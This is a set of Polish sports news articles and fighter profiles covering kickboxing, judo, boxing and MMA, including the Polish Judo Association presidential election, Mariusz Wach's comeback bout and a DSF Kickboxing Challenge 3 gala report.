W złoto mierzy Marta Waliczek w kategorii -60 kg z  Beskidu Dragon Bielsko-Biała, która ma na swoim koncie wicemistrzostwo Europy. Do udziału w mistrzostwach nie zgłosiła się Agata Warzybok, która toczyła zaciętą rywalizację z fighterką z Bielska. Rok temu Marta Waliczek sięgnęła po tytuł i teraz jej głównym celem jest powtórzenie tego wyczynu. Czy stać ją na to? Bez wątpienia jest faworytką w swojej kategorii. Najgroźniejszą rywalką Waliczek powinna być Klaudia Cichoń. W Kobyłce i Wołominie zaprezentuje się również Iwona Nieroda, która coraz lepiej poczyna sobie na poziomie zawodowym. Zawodniczka Diamentu Pstrągowa wystartuje w kategorii 56 kg i będzie broniła mistrzostwa Polski. W rywalizacji pań wystąpią jeszcze dwie fighter ki, które wywalczyły tytuł rok temu. Joanna Walkiewicz wystartuje w kategorii 48 kg, gdzie zgłosiło się sześć zawodniczek. Paulina Bieć w wadze 70 kg musi pokonać Martynę Dzięciołowską z klubu Wicher Kobyłka.

W mistrzostwach wystartuje Eliasz Jankowski, który liczy na medal. Zawodnik nie wspomina dobrze występu sprzed roku w Bełchatowie. Podczas mistrzostw Polski wystartował w wyższej kategorii wagowej i wygrał tylko jedną walkę. Teraz zaprezentuje się w 63,5 kg, gdzie liczy na sukces. Wśród panów wystąpi zaledwie dwóch triumfatorów poprzednich mistrzostw. W kategorii 57 kg wystąpi Sebastian Słoń ze Sportowego Klubu Kickboxing Kielce. Mistrz z 2014 roku w swojej grupie ma czterech rywali. Gwiazdą imprezy będzie Kamil Ruta, który zaprezentuje się w bogato obsadzonej kategorii 81 kg. Mistrz świata z Turcji w ostatnim czasie imponował formą podczas gal grupy DSF, gdzie znokautował kolejno Łukasza Adamskiego i Mateusza Żukowskiego. W  Wołominie jest bezapelacyjnym faworytem do złota.

Wśród panów licznie obsadzone kategorie 86 kg,81 kg, 75 kg, 71 kg i 67 kg. Do niższych kategorii liczba zgłoszeń klarowała się na poziomie pięciu, sześciu zawodników. W cięższych wagach taka ilość byłaby sukcesem. Wśród pań licznie obsadzone są kategorie 48 kg i 70 kg. W mistrzostwach nie zobaczymy  m.in. mistrzyni świata Róży Gumiennej czy też mistrza Polski Łukasza Pławeckiego.

Niedzielne finały będą miały charakter gali. Nie zabraknie profesjonalnej oprawy, która będzie wstępem do widowiska. Organizator gali stawia na efektywność, co ma być kluczem do popularyzacji formuły low-kick oraz profesjonalizacji zawodów. Zapraszamy do śledzenia finałowych występów na antenie FighTime.

KM

Wyboru nadszedł czas

W głowach delegatów z pewnością już zapadły decyzje. Nadszedł czas, aby poznać wyniki głosowania i nazwisko nowego prezesa Polskiego Związku Judo. W niedzielę 8 marca odbędzie się Nadzwyczajny Kongres PZJudo.

Tym samym końca dobiega czas funkcjonowania w związku kuratora Mariusza Radziewskiego. PZJudo znalazło się pod kontrolą z powodu zamieszania wokół legalności wyboru władz. Ministerstwo Sportu i Turystyki postanowiło wyjaśnić  sprawę i zdecydowało o wprowadzeniu kuratora do związku. Ten na 8 marca wyznaczył termin wyboru władz, co kończy długą odyseję.

Na starcie pojawiło się sześciu kandydatów do fotela prezesa Polskiego Związku Judo. Wiesław Błach, który pełnił tę funkcję przed pojawieniem się kuratora, Cezary Borzęcki, Juliusz Kowalczyk, Michał Adamiec, Ryszard Janiszewski i Sławomir Kownacki. Z rywalizacji wycofało się dwóch kandydatów. Cezary Borzęcki zrezygnował z udziału w wyborach. Kandydat, który snuł wizję lepszego judo w Polsce i od dłuższego czasu publikował treści uderzające w Wiesława Błacha. Borzęcki stawiał na piedestale kwestię niemalże dyktatorskiego zarządzania związkiem przez brązowego medalistę mistrzostw świata z Seulu. W końcu postanowił zrezygnować z ubiegania się o stanowisko. Zaskoczeniem była decyzja Wiesława Błacha, który również wycofał się. Całe zamieszanie wokół judo w ostatnim czasie uderzało w osobę prezesa, który nie chował głowy w piasek i otwarcie prezentował swoje stanowisko. Jednakże postanowił zrezygnować ze startu w wyborach. W stosunku do Błacha formułowano wiele zarzutów dotyczących nadużyć, pogorszenia stanu finansów związku oraz zapaści dyscypliny. Fakty są nieco inne. Zadłużenie związku stopniowo spada – w 2013 roku zadłużenie wynosiło 967 tys. zł, a w 2012 rok – 1,384 mln, – a w roku 2014 nasza reprezentacja zdobywała medale na mistrzostwach świata i Europy.

Na placu boju pozostało zatem czterech kandydatów. Michał Adamiec to były zawodnik judo, który obecnie związany jest z Uczniowskim Klubem Judo Ryś. Kandydat jest ojcem judoki Tomasza Adamca. W swoim programie Adamiec podkreśla konieczność transparentności finansowej związku, stworzenia lokalnych ośrodków szkolenia judo oraz poprawę relacji ministerstwem. Ponadto, zwraca uwagę na konieczność relacji partnerskich PZJudo z okręgowymi związkami oraz klubami i chciałby nawiązać współpracę z ikonami polskiego judo, co miałoby pomóc w uzyskaniu lepszego finansowania. Juliusz Kowalczyk zapowiada, że jest gotów pełnić funkcję prezesa społecznie. Opowiada się za większą przejrzystością i przede wszystkim normalnością. Kowalczyk stawia za priorytet odzyskanie zaufania Ministerstwa Sportu i Turystyki. Kolejnym ważnym polem działania jest system szkolenia młodzieży, który miałby zostać przeniesiony do regionów. Ryszard Janiszewski to kandydat, który od ponad czterdziestu lat związany jest z dyscypliną. Czynnie uprawiał judo, pracował w strukturach związkowych oraz realizował się na polu szkoleniowym m.in. był trenerem kadry Kuwejtu. Dla Janiszewskiego celem jest odbudowa lat świetności dyscypliny i medal na Igrzyskach Olimpijskich.

Sławomir Kownacki ostrożnie podchodzi do kwestii rewolucji. Kandydat stawia na kontynuację wdrożonych już zmian i spokojne przygotowanie do Igrzysk Olimpijskich w Rio de Janeiro. Jako prezes Polskiego Związku Judo chciałby zmienić statut i dostosować go do wymogów ministerialnych. Ponadto, w polu zainteresowań Kownackiego znajduje się uregulowanie innych kwestii formalnych m.in. dotyczących komisji dyscyplinarnej. Kandydat stawia za priorytet nadanie właściwych ram do funkcjonowania związku, liczy na doprowadzenie do konsolidacji środowiska i nie chce burzyć tego, co już zostało zrobione. Cykl przygotowawczy do Igrzysk Olimpijskich w Rio de Janeiro jest najważniejszy. Na tę porę sześciu naszych reprezentantów miałoby szanse walczyć o medale olimpijskie. Z pewnością Polacy w Rio dołożą wszelkich starań, aby zaprezentować się jak najlepiej. Nasi reprezentanci prezentują wysoką formę, więc w przyszłość patrzymy z nadziejami.

8 marca poznamy nazwisko nowego prezesa. Powinno to uspokoić sytuację w judo i rozpocząć proces stabilizacji, gdyż dobro dyscypliny jest najważniejsze. O fotel powalczy czterech kandydatów. Wszystko w rękach delegatów, którzy wybiorą nowego prezesa.

KM

Maciej Miszkiń

Polski zawodowy bokser oraz Kick-boxer urodzony w 1983 roku w Sokółce. Maciej przez 6 lat trenował Kick-boxing. Jego największym sukcesem w tym sporcie było zdobycie wicemistrzostwa Europy. W 2007 roku zdobył wicemistrzostwo Polski w formule low-kick. Rok później został mistrzem Polski w formule K-1. 9 maja 2009 roku Miszkiń zadebiutował na zawodowym ringu bokserskim, pokonując Słowaka Miroslava Kvockę. W listopadzie tego samego roku nawiązał współpracę z grupą promotorską KnockOut Promotions. Pierwszym pojedynkiem z nowym sztabem trenerskim był pojedynek z Bułgarem Grigorem Sarohanianem. Po sześciu rundach pojedynek wygrał Polak. 15 maja 2010 roku Miszkiń wystąpił na gali w Łodzi gdzie jego rywalem był Amir Hacimuradov. Maciej wygrał przez techniczny nokaut w piątej rundzie. 12 czerwca 2010 roku Miszkiń stoczył swój 10 zawodowy pojedynek. Jego rywalem był Rumun Vitali Mirza, którego pokonał stosunkiem głosów dwa do remisu. 17 listopada 2012 roku Maciej stoczył swój piętnasty zwycięski pojedynek. Jego przeciwnikiem był Bartłomiej Grafka. 23 listopada 2013 roku doznał swojej pierwszej porażki. Pokonał go Vincent Feigenbutz. Kolejne dwa starcia przyniosły Maciejowi dwie porażki. Pierwszą przegrał z Pawłem Głażewskim a drugą z Aliaksandrem Sushchytsem. 31 stycznia 2015 roku przerwał passę trzech porażek pokonując Łotysza Dmitrijsa Ovsjanniksova. 

Paweł Jędrzejczyk

Polski zawodnik muay thai i kickboxingu urodzony 15 listopada 1980 roku we Wrocławiu.  Członek kadry narodowej w kickboxingu i Muay thai w latach 2005-2010. Paweł jest multimedalistą Mistrzostw i Pucharów Świata oraz Mistrzostw i Pucharów Polski. W 2007 roku wywalczył tytuł Mistrza Europy muay thai organizacji WMf i tytuł vice mistrza świata muay thai organizacji WKA.  W 2009 roku łącząc starty zawodowe i amatorskie zdobył brązowy medal Mistrzostw Świata Muay Thai organizacji WMF w Bangkoku. W tym samym roku został zawodowym mistrzem świata K-1 Rules organizacji WKN. Rok później stracił tytuł w walce z Egipcjaninem Abdelem Kaderem Ahmedem. W 2011 roku zszedł do niższej kategorii wagowej i odzyskał tytuł mistrza świata pokonując przez KO Gruzina Mukutadze Ednariego.  3 grudnia 2011 roku zdobył trzeci tytuł zawodowego mistrza świata federacji WKN tym razem na zasadach Muay Thai pokonując w pierwszej rundzie przez KO Portugalczyka Hugo Migel Rodrigeza Mendeza. Był pierwszym polakiem który walczył na stadionie Rajadamnern w Bangkoku, nokautując w pierwszej rundzie Cheerchai Petchpaothong. W 2013 roku stoczył walkę na legendarnym Lumpinee Boxing Stadium w Bangkoku, gdzie po 5 rundowej walce został uznany za przegranego. W tym samym roku podczas gali Bigger’s Better 22, wywalczył po raz czwarty tytuł zawodowego mistrza świata federacji WKN.  Po 15 miesięcznej przerwie spowodowanej kontuzją, Paweł udanie wrócił na ring. Wywalczył kolejny tytuł zawodowego mistrza świata organizacji WKA.  

Kolejny krok na drodze odbudowy

Przed Mariuszem Wachem trzeci pojedynek po powrocie na ring. 14 marca polski bokser wagi ciężkiej na ringu w Lubinie zmierzy się z Nigeryjczykiem Gbengą Oluokunem.

Przypomnijmy – Wach w listopadzie 2012 roku został zdyskwalifikowany za stosowanie niedozwolonych środków. Po pojedynku z Władimirem Kliczko w organizmie Polaka wykryto zakazane substancje i bokser musiał ponieść konsekwencje. Został zdyskwalifikowany na osiem miesięcy, na ring mógł pojawić się już w lipcu 2013 roku, jednak perypetie z promotorami mu na to nie pozwoliły. Do boksu wrócił w październiku 2014 roku, kiedy to na gali w Dzierżoniowie podczas ośmiorundowego pojedynku zmierzył się z Samirem Kurtagiciem. Wach zaliczył udany come back wygrywając na punkty, ale widać było, że miał dłuższą przerwę w boksowaniu. W grudniu w Radomiu stoczył kolejny pojedynek. Wach był już żywszy, nieco szybszy, zdecydowany i zadawał precyzyjne, mocne ciosy. Pojedynek z Travisem Walkerem rozstrzygnął przed czasem. W szóstej rundzie sędzia zdecydował się przerwać pojedynek, gdyż Amerykanin nie mógł oprzeć się naporowi ciosów polskiego boksera. Teraz przed Wachem trzeci pojedynek po powrocie na ring. Rywalem Polaka będzie Gbenga Oluokun. Nigeryjczyk to bokser twardy, mocno trzymający się na nogach, ale ostatnio na ringu pojawia się coraz rzadziej.

Największy sukces Oluokun odniósł w 2009 roku, kiedy pokonał Lamona Brewstera. Trudno powiedzieć, żeby od tamtego momentu zrobił postęp. Oluokun raczej wykonał krok w tył. Przegrał aż dziesięć pojedynków, wygrywając zaledwie dwa. Jego ostatnia walka, o dziwo, zakończyła się triumfem. 31-latek pokonał Saschę Brinkmanna podczas gali w Niemczech. Jednakże należy oddać Nigeryjczykowi, że przegrywał z bokserami o ustalonym poziomie sportowym. Z pewnością porażki z Robertem Heleniusem, Kubratem Pulewem, Carlosem Takamem czy Wiaczesławem Głazkovem ujmy mu nie przynoszą. Fakt, że Oluokun jest bokserem, który poprawia bilans swoim rywalom. Przed Mariuszem Wachem proste zadanie – wygrać i dopisać kolejne zwycięstwo do swojego rekordu.

Wiadomo, że po dwuletniej przerwie potrzeba czasu, aby dojść do formy. Wach musi jeszcze „wyczuć” ring, zyskać pewność podczas walki. Kwestią fundamentalną jest wypracowanie kondycji. Z Kurtagiciem wytrzymał osiem rund, choć widać było wyraźne zmęczenie w poczynaniach Wacha. Z Walkerem boksował sześć  rund, Polak musi konsekwentnie budować swoją formę i wytrzymałość. Oluokun jest bokserem twardym, ale jeśli Wach szybko go zdominuje walka wcale nie musi trwać długo. W pojedynku z Walkerem wyglądał już zdecydowanie lepiej. Był szybszy, skuteczny, odważny i wykończył rywala, który miał przed rywalizacją z Wachem w swoich dokonaniach serię porażek i zapomniał, co znaczy zwycięstwo. Podobnie jest z Oluokunem. Wach dostaje rywali na roztrenowanie, aby poczuł się pewnie w ringu. Z tym, że stopniowo bokser będzie wchodził na wyższy poziom. Walka z Oluokunem musi zakończyć się po myśli Wacha, inne rozwiązanie będzie rozczarowaniem. Wach myśli o powrocie do prawdziwego boksowania. Okres roztrenowania kończy się, nadchodzi czas odbudowywania formy. Najpierw Oluokun, a potem kolejny krok na drodze. Dokąd? Do prawdziwego boksu.

KM

Yoshida Hidehiko

Japoński judoka i zawodnik mieszanych sztuk walki urodzony 3 września 1969 roku w Obu, w prefekturze Aichi.  Yoshida to jeden z najbardziej utytułowanych Japońskich zawodników judo. W swojej karierze zdobył dwukrotnie mistrzostwo Japonii, mistrzostwo Azji,  jest multimedalistą mistrzostw Świata oraz mistrz Olimpijski z Barcelony w kategorii do 78 kg.  Yoshida stoczył ponad 1000 oficjalnych walk. Po zakończeniu kariery judoki w 2002 roku, podpisał kontrakt z PRIDE FC.  Walczył tam przeciwko czołowym zawodnikom tej dyscypliny.  Jego ulubioną techniką kończącą było juji-gatame (dźwignia na staw łokciowy), którą zmusił do poddania m.in. Dona Frye’a, Marka Hunta i Naoyę Ogawę (cztero krotnego mistrza świata). Na gali PRIDE Shockwave wziął udział w pojedynku na zasadach grapplingu przeciwko gwieździe Brazylijskiego Jiu Jitsu i zwycięzcy trzech turniejów UFC, Royce’owi Gracie. Pojedynek był promowany jako kontynuacja tradycyjnej rywalizacji judo vs. Brazylijskie jiu jitsu. Yoshida wygrał ten pojedynek przez duszenie.  Do rewanżowego pojedynku doszło rok później na gali Shockwave 2003, tym razem na zmodyfikowanych zasadach MMA. Gracie dominował ale nie zdołał poddać swojego rywala. Pojedynek zakończył się remisem. W latach 2008-2009 Yoshida walczył dla Japońskiej organizacji World Victory Road. 25 kwietnia 2010 roku stoczył na specjalnej pożegnalnej gali w Tokio swoją ostatnią walkę. Jego rywalem był Kazuhiro Nakamura. Yoshida przegrał pojedynek przez jednogłośną decyzje sędziów, po czym zakończył sportową karierę. 

Naoya Ogawa

Utytułowany Japoński judoka urodzony 31 marca 1968 roku w Tokio.  Swoją przygodę z judo rozpoczął w szkole średniej. W 1987 roku w wieku 19 lat zdobył złoty medal mistrzostw świata w Essen w kategorii open, zostając tym samym najmłodszym mistrzem w historii judo. W sumie w latach 1987-1995 na pięciu kolejnych mistrzostwach świata zdobył 7 medali w kategoriach wagowych powyżej 95 kg i open. W 1988 roku został również mistrzem Azji w kategorii open.  Dwukrotnie reprezentował Japonie na Igrzyskach Olimpijskich. W 1992 roku w Barcelonie zdobył srebrny medal.  Cztery lata później w Atlancie wywalczył piąte miejsce.  Po zakończeniu startów w judo w 1997 roku, namówiony przez Antonio Inokiego, rozpoczął karierę wrestlera.  Występował m.in. dla organizacji NJPW, UFO, HUSTLE, zdobywając pozycje jednej z gwiazd japońskiego wrestlingu. Rozgłos przyniosła mu rywalizacja z innym popularnym zapaśnikiem Shinyą Hashimoto. Od 2007 roku jest związany z organizacją IGF. W MMA swój pierwszy pojedynek zanotował w 1997 roku. W latach 1999-2005 stoczył sześć walk dla największej ówczesnej organizacji MMA na świecie, PRIDE FC. W swoich pierwszych występach pokonał przez poddanie Gary’ego Goodridga i Masaakiego Satake. W 2004 roku wziął udział w turnieju PRIDE Heavyweight Grand Prix Final. Odpadł w półfinale po przegrane walce z Fiodorem Jemieljanienko.  Swoją ostatnią walkę w MMA stoczył na gali PRIDE Shockwave 2005 przeciwko innemu wybitnemu judoce, Hidehiko Yoshidzie, jednak w pożegnalnym starciu przegrał przez poddanie. 

Mocna sobota w FightKlubie!

Wczesna pobudka czeka fanów gal ESPN. W sobotę o 05:00 rano pokażemy na żywo galę organizowaną w legendarnym MGM Grand w Las Vegas. Głównym wydarzeniem wieczoru będzie pojedynek w kategorii super półśredniej pomiędzy Tonym Harrisonem i Antwone Smithem. Dla 24-letniego Harrisona będzie to debiut przed szeroką publicznością. Potężnie bijący prospekt kategorii junior średniej zastopował 16 z 19 dotychczasowych oponentów, jak dotąd nie zaznał goryczy porażki. Tym razem będzie chciał awansować na poziom 20-0. Jego przeszkodą będzie doświadczony Antwone Smith. Czy mu się to uda w Las Vegas dowiemy się już w najbliższą sobotę?
Podczas gali zobaczymy także występ idącego jak burza Ukraińca Jewgienija Chytrowa. Współczynnik nokautów w wysokości 100% oraz liczne laury na ringach amatorskich mówią same za siebie. Przed nim jednak test z innym mistrzem destrukcji – “Niszczycielem” Jorge Melendezem z Portoryko. Powtórka z gali w sobotę o godzinie 14:00.

W sobotę zapraszamy także na galę bokserską grupy Oscara De La Hoyi. W głównym wydarzeniu wieczoru z boksem w Mieście Aniołów, na ringu zobaczymy Josepha “Jo Jo” Diaza – dwukrotnego mistrza USA na ringach amatorskich, pogromcę wielu medalistów światowych imprez, który jednak na olimpiadzie w 2012 roku, tak jak reszta amerykańskiej reprezentacji, zawiódł swoich rodaków. Co się nie udało w amatorce, Diaz chce osiągnąć w bardziej prestiżowym boksie zawodowym. Z bilansem 14-0 skompletowanym w przeciągu nieco ponad 2 lat na pewno jest na odpowiedniej drodze do osiągnięcia tego celu. Kolejnym etapem w rozwoju 22-letniego mańkuta będzie starcie ze starszym o dekadę Meksykaninem z krwi i kości – Juanem Luisem Hernandezem. Czeka nas zatem tradycyjna konfrontacja młodości z rutyną i doświadczeniem. Premiera gali Golden Boy z Los Angeles w sobotę od 12:00.

W sobotę wieczorem (g. 20:00) zapraszamy również na bokserskie wydanie „ASA Wywiadu”. Gościem Patryka Mirosławskiego będzie Rafal Jackiewicz. W programie dowiemy się m.in. dlaczego Jackiewicz ciągle kończy oficjalnie karierę bokserską ale mimo wszystko cały czas do niej powraca? Jak ocenia swoje początki w KSW? I czy prawdą jest, że pisze autobiografie? Zapraszamy!

Kolejne wyzwanie Helda

Najlepszy polski lekki wystąpi podczas gali Bellator 136 w Irvine, która odbędzie się 10 kwietnia. Rywalem Marcina Helda będzie Rosjanin Alexandr Sarnavski.

Polak po wygraniu turnieju Bellatora w wadze lekkiej miał być pretendentem do mistrzowskiego tytułu. Jednakże na drodze Helda organizacja postawiła wymagającego rywala. Sarnavski jest niezwykle groźnym i trudnym przeciwnikiem. W swojej karierze toczył pojedynki dla organizacji M-1, a w 2012 roku trafił do Bellatora. Od pięciu pojedynków Rosjanin nie zaznał porażki. Ostatnim, który go pokonał był Will Brooks, a stało się to w listopadzie 2013 roku podczas gali Bellator 109. Sarnavski mimo, że jest młodym zawodnikiem zyskał już doświadczenie w MMA. Na zawodowym polu rozpoczął rywalizację ponad siedem lat temu. Na rodzimym podwórku nie miał sobie równych i w końcu dostał szansę walk za oceanem, którą dobrze wykorzystuje. W poprzednim roku stoczył cztery pojedynki i wszystkie wygrał. Jego ofiarami byli: Yukinari Tamura, Drew Brokenshire, Dakota Cochrane oraz Artak Nazaryan.

Z kolei Held jako pretendent czeka na walkę o mistrzowski pas Bellatora wagi lekkiej. Polak w pełni zasłużył na ten pojedynek, gdyż jest zwycięzcą jednego z turniejów organizacji. Held jest pretendentem do pasa, jednak wcześniej musi uporać się z Sarnavski. Będzie to wymagający rywal, który ma nieco większe doświadczenie niż nasz zawodnik. W poprzednim roku Held nie znalazł pogromcy w Bellatorze. Stoczył cztery pojedynki i wszystkie wygrał. W styczniu Polak zaprezentował się podczas grapplingowej gali Polaris Professional Jiu Jitsu Invitational. Held przegrał pojedynek z Amerykaninem Garrym Tononem. Teraz wraca do Bellatora, gdzie czuje się najlepiej. Zapewne walka z Sarnavskim będzie głównie odbywała się w parterze, gdyż obaj zawodnicy właśnie na tej płaszczyźnie czują się najlepiej.

Kraków bez Jotki

Podczas gali UFC w Polsce w akcji nie zobaczymy Krzysztofa Jotki. Polak miał stoczyć pojedynek z Garrethem McLellanem, jednak z powodu kontuzji naszego reprezentacja do tej walki nie dojdzie. Podczas jednego ze sparingów Jotko złamał lewą rękę. Szkoda tym bardziej, że polski fighter w ostatnim występie pokazał się z dobrej strony. Walka przed polską publicznością z pewnością byłby cennym wyzwaniem dla zawodnika wagi średniej, który dla najlepszej organizacji świata stoczył trzy pojedynki. W rywalizacji z Torem Troengiem pokazał, że do UFC nie trafił przez przypadek.

Grudniewski w KSW

Patryk Grudniewski podpisał umowę z KSW. Zawodnik w swojej karierze zwyciężył w drugim Amatorskim Pucharze KSW. Był to dobry wstęp do zawodowej kariery, jednak początkowo Grudniewskiemu nie wiodło się najlepiej. Wygrał pierwszy pojedynek, ale potem zanotował trzy porażki. Zawodnik postanowił zmienić kategorię wagową – wybrał lekką. Decyzja wyszła Grudniewskiemu na dobre, gdyż prezentuje się coraz lepiej i nagrodą za wzrastającą dyspozycję jest szansa od KSW. Zawodnik Fighters Factory Oleśnica oraz Ankosu Zapasy Poznań wystąpi 23 maja podczas gali KSW 31.

KM

Kalenga pokrzyżował plany Janika

Łukasz Janik miał stanąć naprzeciw Denisa Lebiediewa. Jednakże Polak nie dostanie szansy walki o mistrzowski pas WBA w wadze cruiser.

Pojedynek Lebiediewa  z Janikiem miał odbyć się 4 kwietnia w Moskwie. Przed polskim bokserem otwierały się ogromne wrota, świat wielkiego boksu. Pojedynek z Lebiediewem, który pas WBA zdobył w 2012 roku miał być najtrudniejszym wyzwaniem w karierze Łukasza Janika. Polak nie odbędzie podróży do Moskwy i nie wejdzie na ring. Marzenia Janika w jednej chwili prysły jak bańka mydlana, gdyż sprawę skomplikowany czynniki pozasportowe.

Kilka tygodni temu w artykule „Życiowa szansa Janika, tak czy nie?” analizując całą sytuację użyłem stwierdzenia, iż „wszystkie dywagacje i analizy mogą być nieważne”. Okazało się, że trzeba było się powstrzymać od pisania scenariuszy na walkę Lebiediew – Janik. Głównym powodem takiego stanu rzeczy była aktywność Youriego Kalengi, a dokładniej jego prawnika Patrick Englisha. Obóz francuskiego boksera podjął walkę, aby nie doszło do pojedynku Lebiediewa z Janikiem. Przedstawiciel Kalengi stał na stanowisku, że polski bokser nie spełnia wymogów, aby stanąć do rywalizacji o mistrzowski pas WBA. W piśmie skierowanym do organizacji English wysunął argumenty dotyczące pozycji rankingowej Janika. Polak nie znajdował się na liście WBA 10 lutego ani 19 stycznia, kiedy ogłoszono, że Lebiediew musi bronić tytułu. Ponadto, 5 lutego promotor Kalengi zasugerował przetarg na walkę. English użył wszystkich możliwych argumentów, aby wywrzeć presję na WBA. Organizacja musiała się ustosunkować do listu skierowanego przez obóz Kalengi.

Jak poinformował Przemysław Gancarczyk z fightnews.com do starcia Lebiediewa z Janikiem nie dojdzie. Strona rosyjska wycofała skierowaną do WBA prośbę o zorganizowanie walki z Polakiem. Tym samym temat upadł. Wszystko wskazuje na to, że ruszy przetarg na organizację walki Lebiediew – Kalenga. Wedle strony francuskiej niespełna 27-letni bokser jest naturalnym pretendentem do tytułu. Upór Englisha i pismo do WBA zrobiły swoje. Sytuacja wokół organizacji pojedynku Lebiediew – Janik zrobiła się nieciekawa, co spowodowało, że strona rosyjska postanowiła wycofać się.

Dla Łukasza Janika to przykra wiadomość. Polski bokser miał szansę stanąć do walki o najwyższe zaszczyty, jednak musi jeszcze poczekać na starcie o mistrzowski pas. Janik miał być kolejnym polskim rywalem mistrza świata WBA w wadze cruiser Denisa Lebiediewa. Rosjanin we wrześniu ubiegłego roku przez nokaut w drugiej rundzie pokonał Pawła Kołodzieja. Na dobrej drodze do walki z Lebiediewem znajdował się Mateusz Masternak. Do czasu. „Master” stanął w ringu z Yourim Kalengą i choć był faworytem przegrał na punkty. Historia, w której uczestniczyło kilku Polaków i wszyscy żyli nadzieją, że uda im się pokonać mocnego Rosjanina. Prawdopodobnie swoją szansę dostanie Kalenga, czy ją wykorzysta? Jedną walkę stoczył – proceduralną. Wygrał ją – prawdopodobnie.

KM

Awans Sarnackiego

Polski judoka dzięki świetnemu występowi podczas Pucharu Świata w Warszawie w światowym rankingu awansował z 19 na 18 pozycję. Do tej pory Sarnacki zgromadził 761 punktów.

Start zawodnika Gwardii Olsztyn na Torwarze napawa optymizmem. Sarnacki wygrał cztery walki i mógł cieszyć się ze zwycięstwa, jakże cennego i wymownego. Po raz kolejny na przestrzeni ostatnich miesięcy judoka  udowodnił swoją wysoką dyspozycję. Dzięki temu Sarnacki znajduje się w czołówce najlepszych zawodników świata. Polak, który startuje w kategorii + 100 kg w rankingu Międzynarodowej Federacji Judo zajmuje 18 pozycję. Stawce przewodzi Teddy Riner. Warto zaznaczyć, że w wyścigu olimpijskim Sarnacki plasuje się na 15 pozycji. Do Rio de Janeiro pojedzie dwudziestu dwóch najlepszych judoków, z tym, że po jednym z każdego kraju. Jak na razie dla Sarnackiego nie widać zagrożenia. Musi utrzymać dyspozycję, aby w Rio powalczyć o medale.

Sarnacki miał bardzo udany poprzedni sezon, kiedy to z międzynarodowych turniejów przywoził medale. W Pucharze Europy w Madrycie wywalczył srebrny krążek, gdyż musiał uznać wyższość Stanislava Bondarenki z Ukrainy. Trzy imponujące ippony utorowały Polakowi drogę do finału, jednak rywal był lepszy. Z Grand Slam w Tiumeniu zawodnik Gwardii Olsztyn przywiózł brązowy medal, tak jak  i z turniejów w Abu Dhabi i Jeju. Sarnacki wysunął się na czoło wśród polskich judoków. Obecnie w kraju, bez podziału na kategorie wagowe, jest najlepszym zawodnikiem. W poprzednim sezonie dobrą formę prezentował Aleksander Beta, ale z czasem zgasł. Paweł Zagrodnik również czyni starania, aby wrócić do wielkiej formy, ale dobre występy przeplata słabszymi. Triumfator Pucharu Świata w Warszawie jest „w gazie”. Sarnacki ustabilizował formę i swoją dyspozycję potwierdza w kolejnych zawodach. Judoka z Olsztyna miał fenomenalny koniec roku, kiedy podczas zagranicznych wojaży gromił kolejnych rywali – w Abu Dhabi i Jeju. Zmagania w nowym roku Sarnacki rozpoczął od sukcesu. Zwycięstwo na warszawskim Torwarze pokazało, że judoka jest faworytem do medali na mistrzostwach świata i Europy, a w dalszej perspektywie naszą nadzieją na krążek olimpijski w Rio de Janeiro.

W rankingach pań najwyżej jest Katarzyna Kłys, która w tym roku jeszcze nie startowała. Brązowa medalista mistrzostw świata z Czelabińska zajmuje 10 pozycję i na tą chwilę start w Rio ma zapewniony. Z kolei Katarzyna Furmanek, która wygrała zawody Pucharu Świata w Pradze plasuje się na 63 lokacie.

Kłys i Sarnacki plasują się w światowej czołówce. Swój kapitał zaczęli wypracowywać w poprzednim sezonie i teraz muszą kontynuować rozpoczęte dzieło. Sarnacki Warszawie pokazał, że będzie walczył o najwyższe cele. Kłys w akcji zaprezentuje się w marcu – podczas Grand Prix w Tbilisi i w Samsun.

KM

Kickboxingu krok do przodu

Są wydarzenia, do których chętnie wraca się pamięcią. Ze względu na skojarzenia związane z doznawaniem przyjemności, szczęścia czy też dumy. Wydarzeniem, do którego wracać będą fani kickboxingu jest gala DSF Kickboxing Challenge 3.

Grupa DSF zrobiła kolejny krok ku pełnej profesjonalizacji widowiska sportowego. Wydarzenie na długo utkwi w świadomości fanów sportu uderzanego. Organizator dostarczył widzom wielu ekstremalnych wrażeń na poziomie sportowym, a do tego dołączył atrakcje wizualne. Wyjścia zawodników rysowały się niczym prawdziwe show. Droga na ring powodowała wzrost napięcia, którego kulminacja miała miejsce podczas walki.

Poziom sportowy został zachowany. Grupa DSF wyselekcjonowała grupę fighterów o ogromnym potencjale. Konsekwentnie stawia na Dorotę Godzinę oraz Łukasza Wichowskiego, których walki wzbudzają ogromne emocje. Obiekt w Piasecznie wypełniony był do ostatniego miejsca, wszyscy oczekiwali, że zobaczą coś wyjątkowego. Czekali na wielkie widowisko, które z walki na walkę nabierało rozpędu. Wiele emocji dostarczyło starcie Doroty Godziny z Gabrielą Bednarowicz. Faworytką pojedynku była zawodniczka DSF Team. Bednarowicz nie przestraszyła się rywalki i toczyła wyrównany bój. Godzina starała się mocnymi i precyzyjnymi ciosami zneutralizować przeciwniczkę, jednak ta nie unikała wymian. W regulaminowym czasie nie doszło do rozstrzygnięcia.  Sędziowie przyznali zwycięstwo Godzinie, która ze swojego występu była umiarkowanie zadowolona.

Pełen szczęścia mógł być Łukasz Wichowski. Nie dość, że zawodnik walczył przed własną publicznością to w efektownym stylu wygrał walkę i zdobył pas DSF Challenge. Wicemistrz Polski w full-contact Piotr Kołakowski nie zamierzał ułatwiać zadania Wichowskiemu. Panowie dostarczyli wielu emocji popartych efektownymi akcjami. Wichowski w piątej rundzie zwyciężył przez TKO. To kolejna bardzo widowiskowa wygrana zawodnika z Piaseczna. Podczas DSF Kickboxing Challenge 2 Wichowski nie miał litości dla Tomasa Neupauera. Kamil Ruta po raz kolejny udowodnił swoją klasę. Mistrz świata w kick-light z Turcji działa wedle zasady „wchodzę, robię swoje i wychodzę”. Podopieczny Grzegorza Engela już w pierwszej rundzie przez KO odprawił Mateusza Żukowskiego w finałowym pojedynku turnieju K-1. Podczas poprzedniej gali Ruta równie szybko uporał się z Sebastianem Adamskim, który podczas DSF Kickboxing Challenge 3 rywalizował z Jakubem Bartnikiem. Pojedynek dwóch przegranych półfinalistów turnieju K-1. W regulaminowym czasie zawodnicy nie rozstrzygnęli walki, sędziowie zwycięstwo przyznali Bartnikowi.

